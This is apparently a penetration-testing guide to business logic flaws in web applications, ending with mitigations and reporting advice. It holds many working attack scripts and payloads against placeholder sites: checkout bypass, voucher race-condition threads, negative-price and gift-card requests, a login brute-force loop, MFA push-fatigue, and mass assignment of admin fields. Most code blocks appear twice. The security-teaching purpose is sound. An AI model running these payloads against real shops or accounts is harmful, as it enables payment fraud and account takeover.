Business Logic Vulnerabilities
Business logic vulnerabilities exploit flaws in the application's workflow, rules, and assumptions. Unlike technical vulnerabilities, these abuse the intended functionality in unintended ways. This guide covers workflow bypasses, race conditions, payment manipulation, and other logic flaws.
Why Business Logic Matters
Business logic vulnerabilities are difficult to detect with automated scanners because they don't involve traditional injection or XSS patterns. They require understanding the application's intended behavior and thinking like an attacker to find ways to abuse it. These flaws can lead to financial loss, fraud, and severe business impact.
Warning
Workflow Bypass
Applications often enforce multi-step processes (checkout, registration, approval workflows). Workflow bypass attacks attempt to skip required steps or access endpoints out of order.
Common Workflow Vulnerabilities
Step Skipping
Jumping directly to final step (e.g., order confirmation without payment)
State Manipulation
Modifying session/cookie state to bypass workflow checks
Parallel Workflows
Starting multiple workflows simultaneously to confuse state
Forced Browsing
Accessing workflow URLs directly without prerequisites
Testing Methodology
# 1. Map the workflow
# Identify all steps: /checkout/cart → /checkout/shipping → /checkout/payment → /checkout/confirm
# 2. Test direct access to later steps
curl -X POST https://target.com/checkout/confirm \
-H "Cookie: session=abc123" \
-d "order_id=12345"
# 3. Manipulate workflow state
# Try accessing step 3 with cookies/session from step 1
# 4. Test parameter tampering
# Change step indicators in POST data
curl -X POST https://target.com/checkout/process \
-d "step=1" \
-d "action=complete" # Try to complete entire workflow
# 5. Test parallel sessions
# Open two workflows simultaneously and see if you can merge states# 1. Map the workflow
# Identify all steps: /checkout/cart → /checkout/shipping → /checkout/payment → /checkout/confirm
# 2. Test direct access to later steps
curl -X POST https://target.com/checkout/confirm \
-H "Cookie: session=abc123" \
-d "order_id=12345"
# 3. Manipulate workflow state
# Try accessing step 3 with cookies/session from step 1
# 4. Test parameter tampering
# Change step indicators in POST data
curl -X POST https://target.com/checkout/process \
-d "step=1" \
-d "action=complete" # Try to complete entire workflow
# 5. Test parallel sessions
# Open two workflows simultaneously and see if you can merge statesExample: E-commerce Checkout Bypass
import requests
# Step 1: Add items to cart
session = requests.Session()
session.post('https://shop.example.com/cart/add',
json={'product_id': 123, 'quantity': 1})
# Step 2: Skip payment and go directly to confirmation
# Normal flow: /cart → /shipping → /payment → /confirm
# Attack: Jump to confirm without payment
response = session.post('https://shop.example.com/checkout/confirm',
json={
'shipping_address': '123 Test St',
'payment_method': 'credit_card', # Claim payment done
'payment_status': 'completed' # Manipulate status
})
if 'Order Confirmed' in response.text:
print('[!] Workflow bypass successful - order without payment!')
print(response.json())import requests
# Step 1: Add items to cart
session = requests.Session()
session.post('https://shop.example.com/cart/add',
json={'product_id': 123, 'quantity': 1})
# Step 2: Skip payment and go directly to confirmation
# Normal flow: /cart → /shipping → /payment → /confirm
# Attack: Jump to confirm without payment
response = session.post('https://shop.example.com/checkout/confirm',
json={
'shipping_address': '123 Test St',
'payment_method': 'credit_card', # Claim payment done
'payment_status': 'completed' # Manipulate status
})
if 'Order Confirmed' in response.text:
print('[!] Workflow bypass successful - order without payment!')
print(response.json())Tip
Race Conditions (TOCTOU)
Race conditions occur when the timing of operations affects the outcome. Time-Of-Check-Time-Of-Use (TOCTOU) vulnerabilities arise when a check and an action are not atomic, allowing an attacker to change state between the check and the use.
Common Race Condition Scenarios
💰 Double Spending
Spending the same credits/voucher/tokens multiple times by exploiting race conditions in validation
Example: Redeeming a $10 voucher code 10 times simultaneously before the first redemption is recorded
🔢 Resource Limit Bypass
Exceeding account limits (file uploads, invitations, API calls) by racing parallel requests
Example: Uploading 100 files when limit is 5 by sending 100 requests simultaneously
💸 Negative Balance
Creating negative balances by racing withdrawal requests against insufficient funds
Example: Account has $100, but racing 5x $50 withdrawals results in -$150 balance
Testing for Race Conditions
import requests
import threading
# Target: Voucher redemption endpoint
url = 'https://target.com/api/redeem-voucher'
voucher_code = 'SAVE10'
# Race condition exploit
def redeem_voucher(thread_id):
response = requests.post(url,
json={'voucher': voucher_code},
headers={'Authorization': 'Bearer YOUR_TOKEN'})
print(f'[Thread {thread_id}] Status: {response.status_code}')
if response.status_code == 200:
print(f'[Thread {thread_id}] SUCCESS: {response.json()}')
# Launch 10 simultaneous requests
threads = []
for i in range(10):
t = threading.Thread(target=redeem_voucher, args=(i,))
threads.append(t)
t.start()
# Wait for all threads to complete
for t in threads:
t.join()
print('\n[!] If multiple successes, race condition exists!')import requests
import threading
# Target: Voucher redemption endpoint
url = 'https://target.com/api/redeem-voucher'
voucher_code = 'SAVE10'
# Race condition exploit
def redeem_voucher(thread_id):
response = requests.post(url,
json={'voucher': voucher_code},
headers={'Authorization': 'Bearer YOUR_TOKEN'})
print(f'[Thread {thread_id}] Status: {response.status_code}')
if response.status_code == 200:
print(f'[Thread {thread_id}] SUCCESS: {response.json()}')
# Launch 10 simultaneous requests
threads = []
for i in range(10):
t = threading.Thread(target=redeem_voucher, args=(i,))
threads.append(t)
t.start()
# Wait for all threads to complete
for t in threads:
t.join()
print('\n[!] If multiple successes, race condition exists!')Turbo Intruder Attack
# Burp Suite Turbo Intruder script for race conditions
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=20,
requestsPerConnection=1,
pipeline=False)
# Send same request 50 times simultaneously
for i in range(50):
engine.queue(target.req, gate='race')
# Open the gate - all requests sent at once
engine.openGate('race')
def handleResponse(req, interesting):
table.add(req)# Burp Suite Turbo Intruder script for race conditions
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=20,
requestsPerConnection=1,
pipeline=False)
# Send same request 50 times simultaneously
for i in range(50):
engine.queue(target.req, gate='race')
# Open the gate - all requests sent at once
engine.openGate('race')
def handleResponse(req, interesting):
table.add(req)Tip
Payment & Transaction Manipulation
Payment logic flaws allow attackers to manipulate prices, quantities, currency, or transaction flow to obtain goods/services for free or at reduced cost.
Common Payment Vulnerabilities
💵 Price Manipulation
- • Negative prices
- • Zero prices
- • Decimal precision (0.01 vs 0.0001)
- • Hidden price fields in HTML/JS
📦 Quantity Manipulation
- • Negative quantities
- • Fractional quantities
- • Overflow (999999999)
- • Zero quantities with vouchers
💱 Currency Manipulation
- • Currency switching
- • Exchange rate abuse
- • Mixed currency transactions
- • Currency symbol injection
Testing Methodology
# 1. Intercept checkout request and analyze parameters
POST /checkout HTTP/1.1
Content-Type: application/json
{
"product_id": 123,
"quantity": 1,
"price": 99.99,
"currency": "USD",
"discount_code": ""
}
# 2. Test price manipulation
{"price": -99.99} # Negative price (get paid to buy)
{"price": 0} # Zero price
{"price": 0.01} # Minimal price
{"price": "99.99 OR 1=1"} # SQL injection in price
# 3. Test quantity manipulation
{"quantity": -1} # Negative quantity (add to balance?)
{"quantity": 0} # Zero quantity (free shipping with voucher?)
{"quantity": 999999999} # Integer overflow
{"quantity": 1.5} # Fractional quantity
# 4. Test currency manipulation
{"currency": "XXX"} # Invalid currency code
{"currency": "BTC"} # Cryptocurrency (different exchange rate?)
{"price": 99.99, "currency": "IDR"} # Switch to weak currency
# 5. Test parameter pollution
price=0.01&price=99.99 # Which one is used?# 1. Intercept checkout request and analyze parameters
POST /checkout HTTP/1.1
Content-Type: application/json
{
"product_id": 123,
"quantity": 1,
"price": 99.99,
"currency": "USD",
"discount_code": ""
}
# 2. Test price manipulation
{"price": -99.99} # Negative price (get paid to buy)
{"price": 0} # Zero price
{"price": 0.01} # Minimal price
{"price": "99.99 OR 1=1"} # SQL injection in price
# 3. Test quantity manipulation
{"quantity": -1} # Negative quantity (add to balance?)
{"quantity": 0} # Zero quantity (free shipping with voucher?)
{"quantity": 999999999} # Integer overflow
{"quantity": 1.5} # Fractional quantity
# 4. Test currency manipulation
{"currency": "XXX"} # Invalid currency code
{"currency": "BTC"} # Cryptocurrency (different exchange rate?)
{"price": 99.99, "currency": "IDR"} # Switch to weak currency
# 5. Test parameter pollution
price=0.01&price=99.99 # Which one is used?Example Attack Scenarios
import requests
# Scenario 1: Negative price exploit
response = requests.post('https://shop.com/checkout',
json={
'items': [
{'id': 123, 'quantity': 1, 'price': 100},
{'id': 456, 'quantity': 1, 'price': -150} # Negative price
]
})
# Total: 100 + (-150) = -50 (shop pays YOU $50!)
# Scenario 2: Integer overflow
response = requests.post('https://shop.com/cart/add',
json={
'product_id': 789,
'quantity': 2147483647 # Max 32-bit int
})
# Quantity might wrap to negative, causing free products
# Scenario 3: Discount code stacking
response = requests.post('https://shop.com/apply-discount',
json={
'codes': ['SAVE10', 'SAVE20', 'SAVE30'] # Multiple codes
})
# If not validated, might stack 10% + 20% + 30% = 60% off
# Scenario 4: Currency timing attack
# 1. Start checkout in USD ($100)
# 2. Switch currency to IDR (Indonesian Rupiah)
# 3. If exchange rate not updated, pay ₹100 (~$0.007)
session = requests.Session()
session.post('https://shop.com/cart/add', json={'id': 123})
session.post('https://shop.com/settings/currency', json={'currency': 'IDR'})
response = session.post('https://shop.com/checkout/pay')
print(response.json()) # Check final priceimport requests
# Scenario 1: Negative price exploit
response = requests.post('https://shop.com/checkout',
json={
'items': [
{'id': 123, 'quantity': 1, 'price': 100},
{'id': 456, 'quantity': 1, 'price': -150} # Negative price
]
})
# Total: 100 + (-150) = -50 (shop pays YOU $50!)
# Scenario 2: Integer overflow
response = requests.post('https://shop.com/cart/add',
json={
'product_id': 789,
'quantity': 2147483647 # Max 32-bit int
})
# Quantity might wrap to negative, causing free products
# Scenario 3: Discount code stacking
response = requests.post('https://shop.com/apply-discount',
json={
'codes': ['SAVE10', 'SAVE20', 'SAVE30'] # Multiple codes
})
# If not validated, might stack 10% + 20% + 30% = 60% off
# Scenario 4: Currency timing attack
# 1. Start checkout in USD ($100)
# 2. Switch currency to IDR (Indonesian Rupiah)
# 3. If exchange rate not updated, pay ₹100 (~$0.007)
session = requests.Session()
session.post('https://shop.com/cart/add', json={'id': 123})
session.post('https://shop.com/settings/currency', json={'currency': 'IDR'})
response = session.post('https://shop.com/checkout/pay')
print(response.json()) # Check final priceWarning
Rate Limiting Bypass
Rate limiting protects against brute force, enumeration, and denial of service attacks. Testing for rate limiting bypass helps identify weak or missing protections.
Bypass Techniques
🔀 Header Manipulation
# Add headers to bypass IP-based rate limiting
X-Forwarded-For: 1.2.3.4
X-Real-IP: 1.2.3.4
X-Originating-IP: 1.2.3.4
X-Remote-IP: 1.2.3.4
X-Client-IP: 1.2.3.4
Forwarded: for=1.2.3.4
# Try localhost bypass
X-Forwarded-For: 127.0.0.1
X-Forwarded-For: ::1
# Try internal IP ranges
X-Forwarded-For: 10.0.0.1
X-Forwarded-For: 192.168.1.1# Add headers to bypass IP-based rate limiting
X-Forwarded-For: 1.2.3.4
X-Real-IP: 1.2.3.4
X-Originating-IP: 1.2.3.4
X-Remote-IP: 1.2.3.4
X-Client-IP: 1.2.3.4
Forwarded: for=1.2.3.4
# Try localhost bypass
X-Forwarded-For: 127.0.0.1
X-Forwarded-For: ::1
# Try internal IP ranges
X-Forwarded-For: 10.0.0.1
X-Forwarded-For: 192.168.1.1🔄 Session Rotation
# Rotate sessions to bypass user-based rate limiting
import requests
for i in range(1000):
session = requests.Session() # New session each time
response = session.post('https://target.com/login',
json={'username': 'admin', 'password': f'pass{i}'})
print(f'[{i}] Status: {response.status_code}')# Rotate sessions to bypass user-based rate limiting
import requests
for i in range(1000):
session = requests.Session() # New session each time
response = session.post('https://target.com/login',
json={'username': 'admin', 'password': f'pass{i}'})
print(f'[{i}] Status: {response.status_code}')🎭 Parameter Pollution
# Try different parameter encodings to bypass detection
email=test@example.com
email=test%40example.com
email=test%2540example.com (double encoding)
email[]=test@example.com (array format)
email.value=test@example.com
# Case sensitivity bypass
Email=test@example.com
EMAIL=test@example.com# Try different parameter encodings to bypass detection
email=test@example.com
email=test%40example.com
email=test%2540example.com (double encoding)
email[]=test@example.com (array format)
email.value=test@example.com
# Case sensitivity bypass
Email=test@example.com
EMAIL=test@example.comInformation
Resource Exhaustion
Resource exhaustion attacks exploit business logic to consume excessive resources (storage, processing, memory) causing denial of service or financial cost.
Common Attack Vectors
💾 Storage Exhaustion
- • Uploading massive files
- • Creating unlimited accounts
- • Zip bombs
- • Log file pollution
⚡ Processing Exhaustion
- • Complex regex (ReDoS)
- • PDF rendering bombs
- • Image processing attacks
- • Expensive database queries
Timing Attacks
Timing attacks exploit differences in response times to infer information about the application's internal state (user existence, password correctness, etc.).
import requests
import time
# Test for user enumeration via timing
def test_timing(email):
start = time.time()
response = requests.post('https://target.com/login',
json={'email': email, 'password': 'wrong'})
elapsed = time.time() - start
return elapsed
# Valid users might take longer (password check)
# Invalid users fail fast (no password check)
print(f'valid@example.com: {test_timing("valid@example.com"):.4f}s')
print(f'invalid@example.com: {test_timing("invalid@example.com"):.4f}s')
# If timing difference > 100ms, user enumeration possibleimport requests
import time
# Test for user enumeration via timing
def test_timing(email):
start = time.time()
response = requests.post('https://target.com/login',
json={'email': email, 'password': 'wrong'})
elapsed = time.time() - start
return elapsed
# Valid users might take longer (password check)
# Invalid users fail fast (no password check)
print(f'valid@example.com: {test_timing("valid@example.com"):.4f}s')
print(f'invalid@example.com: {test_timing("invalid@example.com"):.4f}s')
# If timing difference > 100ms, user enumeration possibleTools & Resources
🛠️ Testing Tools
- • Burp Suite Turbo Intruder
Race condition and high-speed testing - • race-the-web
Command-line race condition tester - • Racepwn
Automated race condition detection
Mitigation Strategies
- ✓ Server-Side Validation: Always validate all business rules on the server. Never trust client-side checks.
- ✓ Atomic Operations: Use database transactions and locking to prevent race conditions
- ✓ Idempotency: Make operations idempotent (same result when repeated) using idempotency keys
- ✓ Workflow State Machine: Implement strict state machines that enforce valid transitions
- ✓ Rate Limiting: Implement proper rate limiting on all sensitive operations
- ✓ Input Validation: Validate ranges, data types, and business constraints (e.g., quantity > 0)
- ✓ Constant-Time Comparisons: Use constant-time comparison for sensitive operations to prevent timing attacks
✅ Business Logic Testing Checklist
- ☐ Skip steps in multi-step processes
- ☐ Repeat steps out of order
- ☐ Test state transitions (e.g., unpaid→shipped)
- ☐ Race conditions on critical operations
- ☐ State machine invalid transitions
- ☐ MFA step-skip logic flaws
- ☐ Negative values (price, quantity)
- ☐ Integer overflow / underflow
- ☐ Currency rounding manipulation
- ☐ Coupon / discount stacking
- ☐ Gift card balance exploitation
- ☐ Mass assignment of hidden fields
- ☐ Feature flag bypass
- ☐ Tier/plan limit circumvention
- ☐ Referral / reward abuse
- ☐ Rate limit bypass on sensitive actions
🔬 Advanced Business Logic Attacks
State Machine Testing
Model the application's workflow as a state machine, then test every possible invalid transition:
# State machine audit methodology
# 1. Map all states: pending → paid → processing → shipped → delivered → returned
# 2. For each state, test transitions to EVERY other state (not just the next one)
import requests
BASE = "https://target.com/api"
TOKEN = "Bearer YOUR_TOKEN"
HEADERS = {"Authorization": TOKEN, "Content-Type": "application/json"}
# Create a test order
order = requests.post(f"{BASE}/orders", headers=HEADERS,
json={"items": [{"id": 1, "qty": 1}]}).json()
order_id = order["id"]
# Test invalid state transitions
invalid_transitions = [
("pending", "shipped"), # Skip payment
("pending", "delivered"), # Skip everything
("shipped", "pending"), # Reverse to get refund + keep item
("delivered", "processing"),# Reset to re-ship
("cancelled", "shipped"), # Resurrect cancelled order
]
for from_state, to_state in invalid_transitions:
# Force state via direct API manipulation
r = requests.patch(f"{BASE}/orders/{order_id}",
headers=HEADERS,
json={"status": to_state})
print(f"{from_state} → {to_state}: {r.status_code} - {r.text[:100]}")
# Also try via workflow endpoints
r = requests.post(f"{BASE}/orders/{order_id}/{to_state}", headers=HEADERS)
print(f" Direct endpoint: {r.status_code}")# State machine audit methodology
# 1. Map all states: pending → paid → processing → shipped → delivered → returned
# 2. For each state, test transitions to EVERY other state (not just the next one)
import requests
BASE = "https://target.com/api"
TOKEN = "Bearer YOUR_TOKEN"
HEADERS = {"Authorization": TOKEN, "Content-Type": "application/json"}
# Create a test order
order = requests.post(f"{BASE}/orders", headers=HEADERS,
json={"items": [{"id": 1, "qty": 1}]}).json()
order_id = order["id"]
# Test invalid state transitions
invalid_transitions = [
("pending", "shipped"), # Skip payment
("pending", "delivered"), # Skip everything
("shipped", "pending"), # Reverse to get refund + keep item
("delivered", "processing"),# Reset to re-ship
("cancelled", "shipped"), # Resurrect cancelled order
]
for from_state, to_state in invalid_transitions:
# Force state via direct API manipulation
r = requests.patch(f"{BASE}/orders/{order_id}",
headers=HEADERS,
json={"status": to_state})
print(f"{from_state} → {to_state}: {r.status_code} - {r.text[:100]}")
# Also try via workflow endpoints
r = requests.post(f"{BASE}/orders/{order_id}/{to_state}", headers=HEADERS)
print(f" Direct endpoint: {r.status_code}")Multi-Factor Logic Flaws
MFA implementations often have logic flaws in the verification workflow itself:
# Step skip: Complete login, skip MFA verification, access protected resource
# 1. POST /login → 200 OK (sets session cookie, redirects to /mfa/verify)
# 2. Instead of visiting /mfa/verify, go directly to /dashboard
curl -b "session=LOGIN_COOKIE" https://target.com/dashboard
# If dashboard loads → MFA bypass via step skip
# MFA fallback abuse: Request SMS code, then use backup code endpoint
# Some apps don't check which MFA method was initiated
curl -X POST https://target.com/mfa/send-sms # Initiate SMS
curl -X POST https://target.com/mfa/verify-backup -d '{"code": "12345678"}' # But verify with backup code (different endpoint)
# MFA enrollment tampering
# During initial MFA setup, intercept and modify the TOTP secret
# Or: disable MFA by sending enrollment cancellation from a different session
curl -X DELETE https://target.com/api/user/mfa -H "Authorization: Bearer VALID_TOKEN"
# MFA fatigue via push notifications (if push-based MFA)
# Repeatedly trigger MFA push until user approves out of frustration
for i in $(seq 1 50); do
curl -X POST https://target.com/login -d '{"email":"victim@target.com","password":"known_password"}'
sleep 3
done# Step skip: Complete login, skip MFA verification, access protected resource
# 1. POST /login → 200 OK (sets session cookie, redirects to /mfa/verify)
# 2. Instead of visiting /mfa/verify, go directly to /dashboard
curl -b "session=LOGIN_COOKIE" https://target.com/dashboard
# If dashboard loads → MFA bypass via step skip
# MFA fallback abuse: Request SMS code, then use backup code endpoint
# Some apps don't check which MFA method was initiated
curl -X POST https://target.com/mfa/send-sms # Initiate SMS
curl -X POST https://target.com/mfa/verify-backup -d '{"code": "12345678"}' # But verify with backup code (different endpoint)
# MFA enrollment tampering
# During initial MFA setup, intercept and modify the TOTP secret
# Or: disable MFA by sending enrollment cancellation from a different session
curl -X DELETE https://target.com/api/user/mfa -H "Authorization: Bearer VALID_TOKEN"
# MFA fatigue via push notifications (if push-based MFA)
# Repeatedly trigger MFA push until user approves out of frustration
for i in $(seq 1 50); do
curl -X POST https://target.com/login -d '{"email":"victim@target.com","password":"known_password"}'
sleep 3
doneCoupon & Discount Abuse Patterns
# Coupon code stacking — apply multiple coupons that should be exclusive
curl -X POST https://target.com/api/cart/coupon -d '{"code": "SAVE20"}' -b "session=COOKIE"
curl -X POST https://target.com/api/cart/coupon -d '{"code": "WELCOME10"}' -b "session=COOKIE"
curl -X POST https://target.com/api/cart/coupon -d '{"code": "FREESHIP"}' -b "session=COOKIE"
# Check if discounts compound: 20% + 10% + free shipping
# Coupon code prediction — check if codes follow a pattern
# Common patterns: PREFIX-SEQUENTIAL, WORD+NUMBER, date-based
# Try: SAVE21, SAVE22, SUMMER2024, WINTER2024, BF2024
# Self-referral loops
# 1. Create account A with referral code REF_A
# 2. Create account B using REF_A → both get credits
# 3. Create account C using referral from B
# 4. Use different email aliases (user+1@gmail.com, user+2@gmail.com)
# Gift card balance manipulation
curl -X POST https://target.com/api/giftcard/redeem -d '{"card": "GIFTCARD123", "amount": -50}' # Negative redemption = add balance
# Apply discount after price is calculated but before payment
# Race condition: apply coupon during checkout processing
# 1. Start checkout (no coupon)
# 2. In parallel: apply 100% discount coupon
# 3. If checkout uses pre-coupon price for display but post-coupon for charge
# Loyalty points manipulation
# Earn points on purchase, return item, keep points
# Convert points to cash, then use cash to earn more points (infinite loop)# Coupon code stacking — apply multiple coupons that should be exclusive
curl -X POST https://target.com/api/cart/coupon -d '{"code": "SAVE20"}' -b "session=COOKIE"
curl -X POST https://target.com/api/cart/coupon -d '{"code": "WELCOME10"}' -b "session=COOKIE"
curl -X POST https://target.com/api/cart/coupon -d '{"code": "FREESHIP"}' -b "session=COOKIE"
# Check if discounts compound: 20% + 10% + free shipping
# Coupon code prediction — check if codes follow a pattern
# Common patterns: PREFIX-SEQUENTIAL, WORD+NUMBER, date-based
# Try: SAVE21, SAVE22, SUMMER2024, WINTER2024, BF2024
# Self-referral loops
# 1. Create account A with referral code REF_A
# 2. Create account B using REF_A → both get credits
# 3. Create account C using referral from B
# 4. Use different email aliases (user+1@gmail.com, user+2@gmail.com)
# Gift card balance manipulation
curl -X POST https://target.com/api/giftcard/redeem -d '{"card": "GIFTCARD123", "amount": -50}' # Negative redemption = add balance
# Apply discount after price is calculated but before payment
# Race condition: apply coupon during checkout processing
# 1. Start checkout (no coupon)
# 2. In parallel: apply 100% discount coupon
# 3. If checkout uses pre-coupon price for display but post-coupon for charge
# Loyalty points manipulation
# Earn points on purchase, return item, keep points
# Convert points to cash, then use cash to earn more points (infinite loop)Mass Assignment in Business Flows
Business logic endpoints often accept more parameters than documented. Adding hidden fields can escalate privileges or manipulate outcomes:
# During user registration — add admin/role fields
curl -X POST https://target.com/api/register -H "Content-Type: application/json" -d '{"email":"test@test.com","password":"pass123","role":"admin","isVerified":true}'
# During order creation — manipulate pricing
curl -X POST https://target.com/api/orders -H "Content-Type: application/json" -d '{"items":[{"id":1,"qty":1}],"total":0.01,"discount":99.99,"shipping":0}'
# During profile update — escalate account type
curl -X PUT https://target.com/api/user/profile -H "Content-Type: application/json" -d '{"name":"Test","plan":"enterprise","credits":999999,"isAdmin":true}'
# Discover hidden fields by:
# 1. Check API documentation / Swagger / OpenAPI specs
# 2. Look at GET responses — writable fields often match readable fields
# 3. Check JavaScript source for form field names
# 4. Try common field names: role, admin, verified, approved, active, balance# During user registration — add admin/role fields
curl -X POST https://target.com/api/register -H "Content-Type: application/json" -d '{"email":"test@test.com","password":"pass123","role":"admin","isVerified":true}'
# During order creation — manipulate pricing
curl -X POST https://target.com/api/orders -H "Content-Type: application/json" -d '{"items":[{"id":1,"qty":1}],"total":0.01,"discount":99.99,"shipping":0}'
# During profile update — escalate account type
curl -X PUT https://target.com/api/user/profile -H "Content-Type: application/json" -d '{"name":"Test","plan":"enterprise","credits":999999,"isAdmin":true}'
# Discover hidden fields by:
# 1. Check API documentation / Swagger / OpenAPI specs
# 2. Look at GET responses — writable fields often match readable fields
# 3. Check JavaScript source for form field names
# 4. Try common field names: role, admin, verified, approved, active, balanceEvidence Collection
Workflow Bypass: Step-by-step request sequence showing how mandatory steps (payment, approval, verification) were skipped or reordered
Financial Impact: Screenshots showing negative prices, zero-cost checkouts, duplicated rewards, or manipulated discount calculations with dollar amounts
Privilege Manipulation: Request showing mass assignment of role/admin fields and the resulting elevated access or modified account state
State Manipulation: Diagram or sequence showing the expected state machine flow vs. the exploited path (e.g., order placed → shipped without payment)
CVSS Range: Minor logic flaw (UI inconsistency): 3.1–4.3 | Financial manipulation: 6.5–8.0 (High) | Business-critical bypass (payment skip): 8.0–9.1
False Positive Identification
- Intended flexibility: Some workflows are intentionally flexible (allowing steps to be done in any order, applying coupons at any stage). Confirm with the business team that the behavior is unintended before reporting.
- Server-side validation exists: The client may allow unusual requests, but the server may reject them downstream (e.g., payment processor declines negative amounts). Check the final transaction state.
- Test environment differences: Payment and business logic often behave differently in staging vs. production (sandbox payment providers always succeed). Note the testing environment.
- Idempotent operations: Replaying a request that returns the same result isn't a race condition or logic flaw — it's idempotent by design. Test with state-changing operations.